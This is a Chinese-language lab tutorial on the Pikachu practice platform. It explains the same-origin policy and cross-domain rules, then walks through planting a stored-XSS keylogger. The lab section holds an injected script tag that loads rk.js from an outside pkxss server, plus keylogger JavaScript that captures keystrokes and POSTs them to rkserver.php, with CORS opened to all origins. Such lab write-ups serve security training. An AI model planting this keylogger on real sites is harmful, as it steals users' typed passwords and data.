案例-xss键盘记录
1.在实验前,先了解一下什么是跨域
http:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域 我们把不同的域之间请求数据的操作,成为跨域操作。
下面的地址同源吗?
http:// www . xyz.com : 8080 / script/test.js
http:// www . xyz.com : 8081 / script/test.js
不同源,端口不一样
http:// www . xyz.com : 8080 / script/test.js
http:// client . xyz.com : 8080 / script/test.js
不同源,子域名不一样
https:// www . xyz.com : 8080 / script/test.js
http:// www. xyz.com : 8080 / script/test.js
不同源,协议不一样
2.跨域-同源策略
而为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的javascrip并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。
Tips: 下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
<script src=“...”> //js,加载到本地执行
<img src=“…”> //图片
<link href=“…”> //css
<iframe src=“…”> //任意资源
3.为什么要有同源策略:
A登陆了淘宝,攻击者向A发送一个恶意链接urlb:http://www.盗你cookie.com
如果没有同源策略,即:urlb上的js可以操作A的内容(如:获取cookie等)有了同源策略,就限制了这种情况。
再比如:
一个恶意站点A上使用了,发送该恶意url到攻击对象,攻击对象登 陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。
开始实验:
回到存储型xss:
这里构造了一个可以嵌入调用pkxss下rkeypress中的rk.js文件,这个js文件可以通过里面的onkeypress的方法获取输入的值,然后通过show方法中调用一个阿贾克斯的异步请求发送到后台系统中。
<script src="http://192.168.10.130/pikachu/pkxss/rkeypress/rk.js"></script>
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
然后我们进入我们pkxss站点下rkeypress中,确认rkserver.php文件中
//设置允许被跨域访问
header(“Access-Control-Allow-Origin:*”);
在打开rk.js,对最下面的
ajax.open(“POST”, “http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php”,true);
进行修改,地址改为搭建pkxss的站点,后面的目录结构不变。
回到存储型xss下,我们点击提交后可以通过F12查看是否成功嵌入了js文件,成功后,我们在框框中随意输入一些东西。
然后到后台管理系统中,键盘记录,发现刚刚输入的已经被记录了。